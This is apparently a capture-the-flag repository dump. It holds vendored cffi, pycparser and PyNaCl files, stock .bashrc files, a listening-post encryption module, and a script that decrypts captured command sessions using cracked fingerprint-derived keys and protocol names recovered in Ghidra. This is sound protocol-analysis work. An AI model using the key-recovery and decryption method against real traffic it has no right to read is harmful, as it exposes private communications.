-------------------------------------------------------------------------------- /task10/home/lpuser/.local/lib/python3.6/site-packages/cffi-1.14.5.dist-info/RECORD: -------------------------------------------------------------------------------- 1 | _cffi_backend.cpython-36m-x86_64-linux-gnu.so,sha256=guqAsxWk87cUGLIqRwWjuMeyiswAW6br9hAuLLGecOg,856392 2 | cffi-1.14.5.dist-info/entry_points.txt,sha256=Q9f5C9IpjYxo0d2PK9eUcnkgxHc9pHWwjEMaANPKNCI,76 3 | cffi-1.14.5.dist-info/RECORD,, 4 | cffi-1.14.5.dist-info/METADATA,sha256=9cQJcfX8MjM9nlAXlHcCe-YmRy7Ez9IsA3eSoOdYYWY,1191 5 | cffi-1.14.5.dist-info/WHEEL,sha256=IkZiJFiZiRavDHfaLV1hdVPFYe1HJNLQ8dnz1DVQgHk,109 6 | cffi-1.14.5.dist-info/top_level.txt,sha256=rE7WR3rZfNKxWI9-jn6hsHCAl7MDkB-FmuQbxWjFehQ,19 7 | cffi-1.14.5.dist-info/LICENSE,sha256=BLgPWwd7vtaICM_rreteNSPyqMmpZJXFh72W3x6sKjM,1294 8 | cffi.libs/libffi-806b1a9d.so.6.0.4,sha256=0MxSFdTpPwKsulw1XmWPRPVreyFK3AIBBg7i6a3-rWY,46632 9 | cffi/_cffi_errors.h,sha256=6nFQ-4dRQI1bXRoSeqdvyKU33TmutQJB_2fAhWSzdl8,3856 10 | cffi/verifier.py,sha256=J9Enz2rbJb9CHPqWlWQ5uQESoyr0uc7MNWugchjXBv4,11207 11 | cffi/vengine_gen.py,sha256=5dX7s1DU6pTBOMI6oTVn_8Bnmru_lj932B6b4v29Hlg,26684 12 | cffi/lock.py,sha256=l9TTdwMIMpi6jDkJGnQgE9cvTIR7CAntIJr8EGHt3pY,747 13 | cffi/_cffi_include.h,sha256=tKnA1rdSoPHp23FnDL1mDGwFo-Uj6fXfA6vA6kcoEUc,14800 14 | cffi/ffiplatform.py,sha256=HMXqR8ks2wtdsNxGaWpQ_PyqIvtiuos_vf1qKCy-cwg,4046 15 | cffi/recompiler.py,sha256=7OBdKr0dAzRnEbgQvjCAikoFAygjTvitaJHdRGc1k24,64568 16 | cffi/pkgconfig.py,sha256=LP1w7vmWvmKwyqLaU1Z243FOWGNQMrgMUZrvgFuOlco,4374 17 | cffi/commontypes.py,sha256=QS4uxCDI7JhtTyjh1hlnCA-gynmaszWxJaRRLGkJa1A,2689 18 | cffi/_embedding.h,sha256=vXP95nMKN_jwCGWenL3XugNPwa2Ko-yqqp0lA-Nh5-I,17581 19 | cffi/model.py,sha256=_GH_UF1Rn9vC4AvmgJm6qj7RUXXG3eqKPc8bPxxyBKE,21768 20 | cffi/cffi_opcode.py,sha256=v9RdD_ovA8rCtqsC95Ivki5V667rAOhGgs3fb2q9xpM,5724 21 | cffi/backend_ctypes.py,sha256=h5ZIzLc6BFVXnGyc9xPqZWUS7qGy7yFSDqXe68Sa8z4,42454 22 | cffi/__init__.py,sha256=xTe6YZU3-T1_hzu4x7LMs6afwrbhtwYaQ4oYCYTfy3M,513 23 | cffi/cparser.py,sha256=rO_1pELRw1gI1DE1m4gi2ik5JMfpxouAACLXpRPlVEA,44231 24 | cffi/api.py,sha256=yxJalIePbr1mz_WxAHokSwyP5CVYde44m-nolHnbJNo,42064 25 | cffi/vengine_cpy.py,sha256=YglN8YS-UaHEv2k2cxgotNWE87dHX20-68EyKoiKUYA,43320 26 | cffi/setuptools_ext.py,sha256=RUR17N5f8gpiQBBlXL34P9FtOu1mhHIaAf3WJlg5S4I,8931 27 | cffi/parse_c_type.h,sha256=OdwQfwM9ktq6vlCB43exFQmxDBtj2MBNdK8LYl15tjw,5976 28 | cffi/error.py,sha256=v6xTiS4U0kvDcy4h_BDRo5v39ZQuj-IMRYLv5ETddZs,877 29 | cffi-1.14.5.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4 30 | cffi/__pycache__/recompiler.cpython-36.pyc,, 31 | cffi/__pycache__/commontypes.cpython-36.pyc,, 32 | cffi/__pycache__/verifier.cpython-36.pyc,, 33 | cffi/__pycache__/cparser.cpython-36.pyc,, 34 | cffi/__pycache__/api.cpython-36.pyc,, 35 | cffi/__pycache__/vengine_gen.cpython-36.pyc,, 36 | cffi/__pycache__/lock.cpython-36.pyc,, 37 | cffi/__pycache__/setuptools_ext.cpython-36.pyc,, 38 | cffi/__pycache__/ffiplatform.cpython-36.pyc,, 39 | cffi/__pycache__/model.cpython-36.pyc,, 40 | cffi/__pycache__/__init__.cpython-36.pyc,, 41 | cffi/__pycache__/backend_ctypes.cpython-36.pyc,, 42 | cffi/__pycache__/error.cpython-36.pyc,, 43 | cffi/__pycache__/pkgconfig.cpython-36.pyc,, 44 | cffi/__pycache__/cffi_opcode.cpython-36.pyc,, 45 | cffi/__pycache__/vengine_cpy.cpython-36.pyc,, 46 | -------------------------------------------------------------------------------- /task10/home/lpuser/.local/lib/python3.6/site-packages/pycparser/__init__.py: -------------------------------------------------------------------------------- 1 | #----------------------------------------------------------------- 2 | # pycparser: __init__.py 3 | # 4 | # This package file exports some convenience functions for 5 | # interacting with pycparser 6 | # 7 | # Eli Bendersky [https://eli.thegreenplace.net/] 8 | # License: BSD 9 | #----------------------------------------------------------------- 10 | __all__ = ['c_lexer', 'c_parser', 'c_ast'] 11 | __version__ = '2.20' 12 | 13 | import io 14 | from subprocess import check_output 15 | from .c_parser import CParser 16 | 17 | 18 | def preprocess_file(filename, cpp_path='cpp', cpp_args=''): 19 | """ Preprocess a file using cpp. 20 | 21 | filename: 22 | Name of the file you want to preprocess. 23 | 24 | cpp_path: 25 | cpp_args: 26 | Refer to the documentation of parse_file for the meaning of these 27 | arguments. 28 | 29 | When successful, returns the preprocessed file's contents. 30 | Errors from cpp will be printed out. 31 | """ 32 | path_list = [cpp_path] 33 | if isinstance(cpp_args, list): 34 | path_list += cpp_args 35 | elif cpp_args != '': 36 | path_list += [cpp_args] 37 | path_list += [filename] 38 | 39 | try: 40 | # Note the use of universal_newlines to treat all newlines 41 | # as \n for Python's purpose 42 | text = check_output(path_list, universal_newlines=True) 43 | except OSError as e: 44 | raise RuntimeError("Unable to invoke 'cpp'. " + 45 | 'Make sure its path was passed correctly\n' + 46 | ('Original error: %s' % e)) 47 | 48 | return text 49 | 50 | 51 | def parse_file(filename, use_cpp=False, cpp_path='cpp', cpp_args='', 52 | parser=None): 53 | """ Parse a C file using pycparser. 54 | 55 | filename: 56 | Name of the file you want to parse. 57 | 58 | use_cpp: 59 | Set to True if you want to execute the C pre-processor 60 | on the file prior to parsing it. 61 | 62 | cpp_path: 63 | If use_cpp is True, this is the path to 'cpp' on your 64 | system. If no path is provided, it attempts to just 65 | execute 'cpp', so it must be in your PATH. 66 | 67 | cpp_args: 68 | If use_cpp is True, set this to the command line arguments strings 69 | to cpp. Be careful with quotes - it's best to pass a raw string 70 | (r'') here. For example: 71 | r'-I../utils/fake_libc_include' 72 | If several arguments are required, pass a list of strings. 73 | 74 | parser: 75 | Optional parser object to be used instead of the default CParser 76 | 77 | When successful, an AST is returned. ParseError can be 78 | thrown if the file doesn't parse successfully. 79 | 80 | Errors from cpp will be printed out. 81 | """ 82 | if use_cpp: 83 | text = preprocess_file(filename, cpp_path, cpp_args) 84 | else: 85 | with io.open(filename) as f: 86 | text = f.read() 87 | 88 | if parser is None: 89 | parser = CParser() 90 | return parser.parse(text, filename) 91 | -------------------------------------------------------------------------------- /task10/home/lpuser/.local/lib/python3.6/site-packages/nacl/bindings/crypto_secretbox.py: -------------------------------------------------------------------------------- 1 | # Copyright 2013 Donald Stufft and individual contributors 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | from __future__ import absolute_import, division, print_function 16 | 17 | from nacl import exceptions as exc 18 | from nacl._sodium import ffi, lib 19 | from nacl.exceptions import ensure 20 | 21 | 22 | crypto_secretbox_KEYBYTES = lib.crypto_secretbox_keybytes() 23 | crypto_secretbox_NONCEBYTES = lib.crypto_secretbox_noncebytes() 24 | crypto_secretbox_ZEROBYTES = lib.crypto_secretbox_zerobytes() 25 | crypto_secretbox_BOXZEROBYTES = lib.crypto_secretbox_boxzerobytes() 26 | crypto_secretbox_MACBYTES = lib.crypto_secretbox_macbytes() 27 | crypto_secretbox_MESSAGEBYTES_MAX = lib.crypto_secretbox_messagebytes_max() 28 | 29 | 30 | def crypto_secretbox(message, nonce, key): 31 | """ 32 | Encrypts and returns the message ``message`` with the secret ``key`` and 33 | the nonce ``nonce``. 34 | 35 | :param message: bytes 36 | :param nonce: bytes 37 | :param key: bytes 38 | :rtype: bytes 39 | """ 40 | if len(key) != crypto_secretbox_KEYBYTES: 41 | raise exc.ValueError("Invalid key") 42 | 43 | if len(nonce) != crypto_secretbox_NONCEBYTES: 44 | raise exc.ValueError("Invalid nonce") 45 | 46 | padded = b"\x00" * crypto_secretbox_ZEROBYTES + message 47 | ciphertext = ffi.new("unsigned char[]", len(padded)) 48 | 49 | res = lib.crypto_secretbox(ciphertext, padded, len(padded), nonce, key) 50 | ensure(res == 0, "Encryption failed", raising=exc.CryptoError) 51 | 52 | ciphertext = ffi.buffer(ciphertext, len(padded)) 53 | return ciphertext[crypto_secretbox_BOXZEROBYTES:] 54 | 55 | 56 | def crypto_secretbox_open(ciphertext, nonce, key): 57 | """ 58 | Decrypt and returns the encrypted message ``ciphertext`` with the secret 59 | ``key`` and the nonce ``nonce``. 60 | 61 | :param ciphertext: bytes 62 | :param nonce: bytes 63 | :param key: bytes 64 | :rtype: bytes 65 | """ 66 | if len(key) != crypto_secretbox_KEYBYTES: 67 | raise exc.ValueError("Invalid key") 68 | 69 | if len(nonce) != crypto_secretbox_NONCEBYTES: 70 | raise exc.ValueError("Invalid nonce") 71 | 72 | padded = b"\x00" * crypto_secretbox_BOXZEROBYTES + ciphertext 73 | plaintext = ffi.new("unsigned char[]", len(padded)) 74 | 75 | res = lib.crypto_secretbox_open( 76 | plaintext, padded, len(padded), nonce, key) 77 | ensure(res == 0, "Decryption failed. Ciphertext failed verification", 78 | raising=exc.CryptoError) 79 | 80 | plaintext = ffi.buffer(plaintext, len(padded)) 81 | return plaintext[crypto_secretbox_ZEROBYTES:] 82 | -------------------------------------------------------------------------------- /task10/home/lpuser/.local/lib/python3.6/site-packages/pycparser/ply/ctokens.py: -------------------------------------------------------------------------------- 1 | # ---------------------------------------------------------------------- 2 | # ctokens.py 3 | # 4 | # Token specifications for symbols in ANSI C and C++. This file is 5 | # meant to be used as a library in other tokenizers. 6 | # ---------------------------------------------------------------------- 7 | 8 | # Reserved words 9 | 10 | tokens = [ 11 | # Literals (identifier, integer constant, float constant, string constant, char const) 12 | 'ID', 'TYPEID', 'INTEGER', 'FLOAT', 'STRING', 'CHARACTER', 13 | 14 | # Operators (+,-,*,/,%,|,&,~,^,<<,>>, ||, &&, !, <, <=, >, >=, ==, !=) 15 | 'PLUS', 'MINUS', 'TIMES', 'DIVIDE', 'MODULO', 16 | 'OR', 'AND', 'NOT', 'XOR', 'LSHIFT', 'RSHIFT', 17 | 'LOR', 'LAND', 'LNOT', 18 | 'LT', 'LE', 'GT', 'GE', 'EQ', 'NE', 19 | 20 | # Assignment (=, *=, /=, %=, +=, -=, <<=, >>=, &=, ^=, |=) 21 | 'EQUALS', 'TIMESEQUAL', 'DIVEQUAL', 'MODEQUAL', 'PLUSEQUAL', 'MINUSEQUAL', 22 | 'LSHIFTEQUAL','RSHIFTEQUAL', 'ANDEQUAL', 'XOREQUAL', 'OREQUAL', 23 | 24 | # Increment/decrement (++,--) 25 | 'INCREMENT', 'DECREMENT', 26 | 27 | # Structure dereference (->) 28 | 'ARROW', 29 | 30 | # Ternary operator (?) 31 | 'TERNARY', 32 | 33 | # Delimeters ( ) [ ] { } , . ; : 34 | 'LPAREN', 'RPAREN', 35 | 'LBRACKET', 'RBRACKET', 36 | 'LBRACE', 'RBRACE', 37 | 'COMMA', 'PERIOD', 'SEMI', 'COLON', 38 | 39 | # Ellipsis (...) 40 | 'ELLIPSIS', 41 | ] 42 | 43 | # Operators 44 | t_PLUS = r'\+' 45 | t_MINUS = r'-' 46 | t_TIMES = r'\*' 47 | t_DIVIDE = r'/' 48 | t_MODULO = r'%' 49 | t_OR = r'\|' 50 | t_AND = r'&' 51 | t_NOT = r'~' 52 | t_XOR = r'\^' 53 | t_LSHIFT = r'<<' 54 | t_RSHIFT = r'>>' 55 | t_LOR = r'\|\|' 56 | t_LAND = r'&&' 57 | t_LNOT = r'!' 58 | t_LT = r'<' 59 | t_GT = r'>' 60 | t_LE = r'<=' 61 | t_GE = r'>=' 62 | t_EQ = r'==' 63 | t_NE = r'!=' 64 | 65 | # Assignment operators 66 | 67 | t_EQUALS = r'=' 68 | t_TIMESEQUAL = r'\*=' 69 | t_DIVEQUAL = r'/=' 70 | t_MODEQUAL = r'%=' 71 | t_PLUSEQUAL = r'\+=' 72 | t_MINUSEQUAL = r'-=' 73 | t_LSHIFTEQUAL = r'<<=' 74 | t_RSHIFTEQUAL = r'>>=' 75 | t_ANDEQUAL = r'&=' 76 | t_OREQUAL = r'\|=' 77 | t_XOREQUAL = r'\^=' 78 | 79 | # Increment/decrement 80 | t_INCREMENT = r'\+\+' 81 | t_DECREMENT = r'--' 82 | 83 | # -> 84 | t_ARROW = r'->' 85 | 86 | # ? 87 | t_TERNARY = r'\?' 88 | 89 | # Delimeters 90 | t_LPAREN = r'\(' 91 | t_RPAREN = r'\)' 92 | t_LBRACKET = r'\[' 93 | t_RBRACKET = r'\]' 94 | t_LBRACE = r'\{' 95 | t_RBRACE = r'\}' 96 | t_COMMA = r',' 97 | t_PERIOD = r'\.' 98 | t_SEMI = r';' 99 | t_COLON = r':' 100 | t_ELLIPSIS = r'\.\.\.' 101 | 102 | # Identifiers 103 | t_ID = r'[A-Za-z_][A-Za-z0-9_]*' 104 | 105 | # Integer literal 106 | t_INTEGER = r'\d+([uU]|[lL]|[uU][lL]|[lL][uU])?' 107 | 108 | # Floating literal 109 | t_FLOAT = r'((\d+)(\.\d+)(e(\+|-)?(\d+))? | (\d+)e(\+|-)?(\d+))([lL]|[fF])?' 110 | 111 | # String literal 112 | t_STRING = r'\"([^\\\n]|(\\.))*?\"' 113 | 114 | # Character constant 'c' or L'c' 115 | t_CHARACTER = r'(L)?\'([^\\\n]|(\\.))*?\'' 116 | 117 | # Comment (C-Style) 118 | def t_COMMENT(t): 119 | r'/\*(.|\n)*?\*/' 120 | t.lexer.lineno += t.value.count('\n') 121 | return t 122 | 123 | # Comment (C++-Style) 124 | def t_CPPCOMMENT(t): 125 | r'//.*\n' 126 | t.lexer.lineno += 1 127 | return t 128 | 129 | 130 | 131 | 132 | 133 | 134 | -------------------------------------------------------------------------------- /task10/home/lpuser/lp/lpcrypt.py: -------------------------------------------------------------------------------- 1 | import time 2 | import base64 3 | import secrets 4 | import hashlib 5 | import struct 6 | import random 7 | import subprocess 8 | import nacl.utils 9 | import nacl.secret 10 | import nacl.public 11 | from base64 import b64encode, b64decode 12 | from protocol import socket_recv_n 13 | def keyFromFingerprint(fingerprint): 14 | keystr = f'{fingerprint["username"].lower()}+{fingerprint["version"][:7]}+{fingerprint["timestamp"]}' 15 | print(keystr) 16 | digest = hashlib.sha256(keystr.encode()).digest() 17 | return digest 18 | def deserializeFingerprint(pt): 19 | print(f'Deserializing Fingerprint {pt}') 20 | fp = {} 21 | attributes = pt.split(b',') 22 | for each in attributes: 23 | decStr = base64.b64decode(each).decode() 24 | print(f' -- {decStr}') 25 | attr, val = decStr.split('=') 26 | fp[attr] = val 27 | print("Got fingerprint: ", fp) 28 | return fp 29 | def serverInitializeCrypt(sock, server_public, server_secret): 30 | client_public = socket_recv_n(sock, 32) 31 | print("Received", len(client_public), "bytes") 32 | client_public = nacl.public.PublicKey(client_public) 33 | print("Client Public: ", client_public.encode().hex()) 34 | server_public = nacl.public.PublicKey(bytes.fromhex(server_public)) 35 | server_secret = nacl.public.PrivateKey(bytes.fromhex(server_secret)) 36 | length = receiveLength(sock) 37 | if length == 0 or length <= 24: 38 | return False 39 | try: 40 | message = socket_recv_n(sock, length) 41 | nonce = message[:24] 42 | ciphertext = message[24:] 43 | except Exception as e: 44 | print(f"Error receiving data!") 45 | print(f"Exception: {e}") 46 | return False 47 | print("Nonce: ", nonce.hex()) 48 | print("Ciphertext: ", ciphertext.hex()) 49 | if ciphertext.startswith(b'\x00' * 16): 50 | ciphertext = ciphertext[16:] 51 | print("Ciphertext: ", ciphertext) 52 | server_box = nacl.public.Box(server_secret, client_public) 53 | decrypted = server_box.decrypt(ciphertext, nonce) 54 | fingerprint = deserializeFingerprint(decrypted) 55 | if fingerprint is None: 56 | return False 57 | sessionKey = keyFromFingerprint(fingerprint) 58 | print("Session Key: ", sessionKey.hex()) 59 | return sessionKey 60 | def encryptMessage(skey, message): 61 | nonce = nacl.utils.random(24) 62 | box = nacl.secret.SecretBox(skey) 63 | ciphertext = box.encrypt(message, nonce) 64 | lengthHeader = makeLengthHeader(len(ciphertext)) 65 | finalMessage = lengthHeader + ciphertext 66 | return finalMessage 67 | def decryptMessage(skey, message): 68 | if len(message) <= 24: 69 | return None 70 | nonce = message[:24] 71 | ciphertext = message[24:] 72 | if ciphertext.startswith(b'\x00' * 16): 73 | ciphertext = ciphertext[16:] 74 | if len(ciphertext) == 0: 75 | return None 76 | box = nacl.secret.SecretBox(skey) 77 | plaintext = box.decrypt(ciphertext, nonce) 78 | return plaintext 79 | def makeLengthHeader(length): 80 | size1Bytes = nacl.utils.random(2) 81 | size1, = struct.unpack('!H', size1Bytes) 82 | size2 = (length - size1) % 0x10000 83 | sizes = struct.pack('!HH', size1, size2) 84 | print(f"Length Header: {sizes.hex()} {size1} {size2} {length}") 85 | return sizes 86 | def receiveLength(sock): 87 | try: 88 | length = socket_recv_n(sock, 4) 89 | except Exception as e: 90 | print(f"Error receiving data!") 91 | print(f"Exception: {e}") 92 | return 0 93 | if len(length) < 4: 94 | print("Connection closed!") 95 | return 0 96 | size1, size2 = struct.unpack('!HH', length) 97 | actualLength = (size1 + size2) % 0x10000 98 | print(f"Length Header: {length.hex()} {size1} {size2} {actualLength}") 99 | return actualLength 100 | 101 | -------------------------------------------------------------------------------- /task9/parse.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import nacl.secret 4 | import hashlib 5 | import struct 6 | 7 | # define values for commands, parameters, and other magic numbers 8 | MAGIC_START = b'\x18\x15\xe9\xd3' 9 | MAGIC_END = b'\xef\x5a\x80\xcb' 10 | RESPONSE_CODE_LENGTH = 4 11 | 12 | # command names from Ghidra 13 | # missing commands 1, 3, 4, and 5 14 | commands = { 15 | 1: "COMMAND_ONE", 16 | 2: "COMMAND_INIT", 17 | 3: "COMMAND_THREE", 18 | 4: "COMMAND_FOUR", 19 | 5: "COMMAND_FIVE", 20 | 6: "COMMAND_UPLOAD", 21 | 7: "COMMAND_FIN", 22 | } 23 | 24 | # parameters from Ghidra 25 | params = { 26 | 0x1100: "PARAM_CMD", 27 | 0x1108: "PARAM_UUID", 28 | 0x1114: "PARAM_DIRNAME", 29 | 0x111c: "PARAM_FILENAME", 30 | 0x1120: "PARAM_CONTENTS", 31 | 0x1124: "PARAM_MORE", 32 | 0x1128: "PARAM_CODE", 33 | } 34 | 35 | # cracked fingerprints 36 | fingerprints = [ 37 | "sayre+1.6.7.9+1615897640", 38 | "root+1.2.2.0+1615897678", 39 | "chickie+2.7.5.7+1615897729", 40 | ] 41 | 42 | def keygen(fp): 43 | h = hashlib.sha256() 44 | h.update(fp.encode()) 45 | return h.digest() 46 | 47 | def decrypt(ciphertext, nonce, key): 48 | box = nacl.secret.SecretBox(key) 49 | return box.decrypt(nonce + ciphertext) 50 | 51 | # algorithm can be derived from lengthHeader() in Ghidra 52 | def get_length(header): 53 | s1, s2 = struct.unpack('!HH', header) 54 | return (s1 + s2) % 0x10000 55 | 56 | # load each session from file 57 | messages = [] 58 | for u in ['sayre', 'root', 'chickie']: 59 | with open(f"sessions/{u}", 'r') as f: 60 | lines = f.readlines() 61 | 62 | messages.append([bytes.fromhex(line) for line in lines]) 63 | 64 | # iterate over each session 65 | for i, mlist in enumerate(messages): 66 | print(f"{'=' * 4} {fingerprints[i]}") 67 | 68 | print(f"Client Public Key: {mlist.pop(0)[:8]}...") 69 | print(f"Encrypted Fingerprint Message: {mlist.pop(0)[:8]}...") 70 | 71 | # iterate over each message 72 | for j, m in enumerate(mlist): 73 | print(f"\t{'=' * 4} Message {j}") 74 | 75 | # parse header, nonce, and ciphertext from encrypted messages 76 | length_header = m[:4] 77 | nonce = m[4:28] 78 | ciphertext = m[28:] 79 | 80 | # decrypt message 81 | key = keygen(fingerprints[i]) 82 | pt = decrypt(ciphertext, nonce, key) 83 | 84 | # decipher length header 85 | length = get_length(length_header) - (24 + 16) 86 | print(f"\tLength: {length} ({length_header})") 87 | 88 | # check if message starts with MAGIC_START like it should 89 | start = pt[:4] == MAGIC_START 90 | print(f"\tMagic Start? {start} ({pt[:4]})") 91 | 92 | 93 | # p is position in message 94 | p = 4 95 | # iterate over parameters 96 | while p <= length: 97 | # get param 98 | param = int.from_bytes(pt[p:p + 2], 'big') 99 | if param in params: 100 | param_string = params[param] 101 | else: 102 | param_string = f"UNKNOWN ({pt[p:p + 2]})" 103 | p += 2 104 | 105 | # get param length 106 | param_length = int.from_bytes(pt[p:p + 2], 'big') 107 | p += 2 108 | 109 | # get param data 110 | param_data = int.from_bytes(pt[p:p + param_length], 'big') 111 | if param_data in commands: 112 | data_string = commands[param_data] 113 | else: 114 | data_string = pt[p:p + param_length] 115 | p += param_length 116 | 117 | print(f"\t\t{param_string} ({param_length}): {data_string}") 118 | 119 | # leave 4 bytes at the end for MAGIC_END 120 | if p == length - 4: 121 | break 122 | 123 | # check if message ends with MAGIC_END like it should 124 | end = pt[-4:] == MAGIC_END 125 | print(f"\tMagic End?: {end} ({pt[-4:]})") 126 | print() 127 | -------------------------------------------------------------------------------- /task10/home/lpuser/.local/lib/python3.6/site-packages/pycparser/ast_transforms.py: -------------------------------------------------------------------------------- 1 | #------------------------------------------------------------------------------ 2 | # pycparser: ast_transforms.py 3 | # 4 | # Some utilities used by the parser to create a friendlier AST. 5 | # 6 | # Eli Bendersky [https://eli.thegreenplace.net/] 7 | # License: BSD 8 | #------------------------------------------------------------------------------ 9 | 10 | from . import c_ast 11 | 12 | 13 | def fix_switch_cases(switch_node): 14 | """ The 'case' statements in a 'switch' come out of parsing with one 15 | child node, so subsequent statements are just tucked to the parent 16 | Compound. Additionally, consecutive (fall-through) case statements 17 | come out messy. This is a peculiarity of the C grammar. The following: 18 | 19 | switch (myvar) { 20 | case 10: 21 | k = 10; 22 | p = k + 1; 23 | return 10; 24 | case 20: 25 | case 30: 26 | return 20; 27 | default: 28 | break; 29 | } 30 | 31 | Creates this tree (pseudo-dump): 32 | 33 | Switch 34 | ID: myvar 35 | Compound: 36 | Case 10: 37 | k = 10 38 | p = k + 1 39 | return 10 40 | Case 20: 41 | Case 30: 42 | return 20 43 | Default: 44 | break 45 | 46 | The goal of this transform is to fix this mess, turning it into the 47 | following: 48 | 49 | Switch 50 | ID: myvar 51 | Compound: 52 | Case 10: 53 | k = 10 54 | p = k + 1 55 | return 10 56 | Case 20: 57 | Case 30: 58 | return 20 59 | Default: 60 | break 61 | 62 | A fixed AST node is returned. The argument may be modified. 63 | """ 64 | assert isinstance(switch_node, c_ast.Switch) 65 | if not isinstance(switch_node.stmt, c_ast.Compound): 66 | return switch_node 67 | 68 | # The new Compound child for the Switch, which will collect children in the 69 | # correct order 70 | new_compound = c_ast.Compound([], switch_node.stmt.coord) 71 | 72 | # The last Case/Default node 73 | last_case = None 74 | 75 | # Goes over the children of the Compound below the Switch, adding them 76 | # either directly below new_compound or below the last Case as appropriate 77 | # (for `switch(cond) {}`, block_items would have been None) 78 | for child in (switch_node.stmt.block_items or []): 79 | if isinstance(child, (c_ast.Case, c_ast.Default)): 80 | # If it's a Case/Default: 81 | # 1. Add it to the Compound and mark as "last case" 82 | # 2. If its immediate child is also a Case or Default, promote it 83 | # to a sibling. 84 | new_compound.block_items.append(child) 85 | _extract_nested_case(child, new_compound.block_items) 86 | last_case = new_compound.block_items[-1] 87 | else: 88 | # Other statements are added as children to the last case, if it 89 | # exists. 90 | if last_case is None: 91 | new_compound.block_items.append(child) 92 | else: 93 | last_case.stmts.append(child) 94 | 95 | switch_node.stmt = new_compound 96 | return switch_node 97 | 98 | 99 | def _extract_nested_case(case_node, stmts_list): 100 | """ Recursively extract consecutive Case statements that are made nested 101 | by the parser and add them to the stmts_list. 102 | """ 103 | if isinstance(case_node.stmts[0], (c_ast.Case, c_ast.Default)): 104 | stmts_list.append(case_node.stmts.pop()) 105 | _extract_nested_case(stmts_list[-1], stmts_list) 106 | 107 | -------------------------------------------------------------------------------- /task10/home/lpuser/.bashrc: -------------------------------------------------------------------------------- 1 | # ~/.bashrc: executed by bash(1) for non-login shells. 2 | # see /usr/share/doc/bash/examples/startup-files (in the package bash-doc) 3 | # for examples 4 | 5 | # If not running interactively, don't do anything 6 | case $- in 7 | *i*) ;; 8 | *) return;; 9 | esac 10 | 11 | # don't put duplicate lines or lines starting with space in the history. 12 | # See bash(1) for more options 13 | HISTCONTROL=ignoreboth 14 | 15 | # append to the history file, don't overwrite it 16 | shopt -s histappend 17 | 18 | # for setting history length see HISTSIZE and HISTFILESIZE in bash(1) 19 | HISTSIZE=1000 20 | HISTFILESIZE=2000 21 | 22 | # check the window size after each command and, if necessary, 23 | # update the values of LINES and COLUMNS. 24 | shopt -s checkwinsize 25 | 26 | # If set, the pattern "**" used in a pathname expansion context will 27 | # match all files and zero or more directories and subdirectories. 28 | #shopt -s globstar 29 | 30 | # make less more friendly for non-text input files, see lesspipe(1) 31 | [ -x /usr/bin/lesspipe ] && eval "$(SHELL=/bin/sh lesspipe)" 32 | 33 | # set variable identifying the chroot you work in (used in the prompt below) 34 | if [ -z "${debian_chroot:-}" ] && [ -r /etc/debian_chroot ]; then 35 | debian_chroot=$(cat /etc/debian_chroot) 36 | fi 37 | 38 | # set a fancy prompt (non-color, unless we know we "want" color) 39 | case "$TERM" in 40 | xterm-color|*-256color) color_prompt=yes;; 41 | esac 42 | 43 | # uncomment for a colored prompt, if the terminal has the capability; turned 44 | # off by default to not distract the user: the focus in a terminal window 45 | # should be on the output of commands, not on the prompt 46 | #force_color_prompt=yes 47 | 48 | if [ -n "$force_color_prompt" ]; then 49 | if [ -x /usr/bin/tput ] && tput setaf 1 >&/dev/null; then 50 | # We have color support; assume it's compliant with Ecma-48 51 | # (ISO/IEC-6429). (Lack of such support is extremely rare, and such 52 | # a case would tend to support setf rather than setaf.) 53 | color_prompt=yes 54 | else 55 | color_prompt= 56 | fi 57 | fi 58 | 59 | if [ "$color_prompt" = yes ]; then 60 | PS1='${debian_chroot:+($debian_chroot)}\[\033[01;32m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ ' 61 | else 62 | PS1='${debian_chroot:+($debian_chroot)}\u@\h:\w\$ ' 63 | fi 64 | unset color_prompt force_color_prompt 65 | 66 | # If this is an xterm set the title to user@host:dir 67 | case "$TERM" in 68 | xterm*|rxvt*) 69 | PS1="\[\e]0;${debian_chroot:+($debian_chroot)}\u@\h: \w\a\]$PS1" 70 | ;; 71 | *) 72 | ;; 73 | esac 74 | 75 | # enable color support of ls and also add handy aliases 76 | if [ -x /usr/bin/dircolors ]; then 77 | test -r ~/.dircolors && eval "$(dircolors -b ~/.dircolors)" || eval "$(dircolors -b)" 78 | alias ls='ls --color=auto' 79 | #alias dir='dir --color=auto' 80 | #alias vdir='vdir --color=auto' 81 | 82 | alias grep='grep --color=auto' 83 | alias fgrep='fgrep --color=auto' 84 | alias egrep='egrep --color=auto' 85 | fi 86 | 87 | # colored GCC warnings and errors 88 | #export GCC_COLORS='error=01;31:warning=01;35:note=01;36:caret=01;32:locus=01:quote=01' 89 | 90 | # some more ls aliases 91 | alias ll='ls -alF' 92 | alias la='ls -A' 93 | alias l='ls -CF' 94 | 95 | # Add an "alert" alias for long running commands. Use like so: 96 | # sleep 10; alert 97 | alias alert='notify-send --urgency=low -i "$([ $? = 0 ] && echo terminal || echo error)" "$(history|tail -n1|sed -e '\''s/^\s*[0-9]\+\s*//;s/[;&|]\s*alert$//'\'')"' 98 | 99 | # Alias definitions. 100 | # You may want to put all your additions into a separate file like 101 | # ~/.bash_aliases, instead of adding them here directly. 102 | # See /usr/share/doc/bash-doc/examples in the bash-doc package. 103 | 104 | if [ -f ~/.bash_aliases ]; then 105 | . ~/.bash_aliases 106 | fi 107 | 108 | # enable programmable completion features (you don't need to enable 109 | # this, if it's already enabled in /etc/bash.bashrc and /etc/profile 110 | # sources /etc/bash.bashrc). 111 | if ! shopt -oq posix; then 112 | if [ -f /usr/share/bash-completion/bash_completion ]; then 113 | . /usr/share/bash-completion/bash_completion 114 | elif [ -f /etc/bash_completion ]; then 115 | . /etc/bash_completion 116 | fi 117 | fi 118 | -------------------------------------------------------------------------------- /task10/home/psuser/.bashrc: -------------------------------------------------------------------------------- 1 | # ~/.bashrc: executed by bash(1) for non-login shells. 2 | # see /usr/share/doc/bash/examples/startup-files (in the package bash-doc) 3 | # for examples 4 | 5 | # If not running interactively, don't do 